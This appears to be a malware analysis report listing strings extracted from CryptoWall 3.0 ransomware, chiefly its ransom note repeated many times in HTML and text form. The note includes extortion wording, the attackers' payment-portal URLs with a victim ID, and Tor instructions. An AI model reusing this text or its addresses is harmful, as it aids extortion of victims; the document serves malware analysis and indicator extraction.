Source: restore_files_gpmus.html264.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt331.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html342.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt413.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html265.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html283.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt138.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt318.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html253.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html348.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt182.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html41.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt184.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt141.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html25.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html35.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt83.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html60.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt358.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt294.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html198.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html363.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" 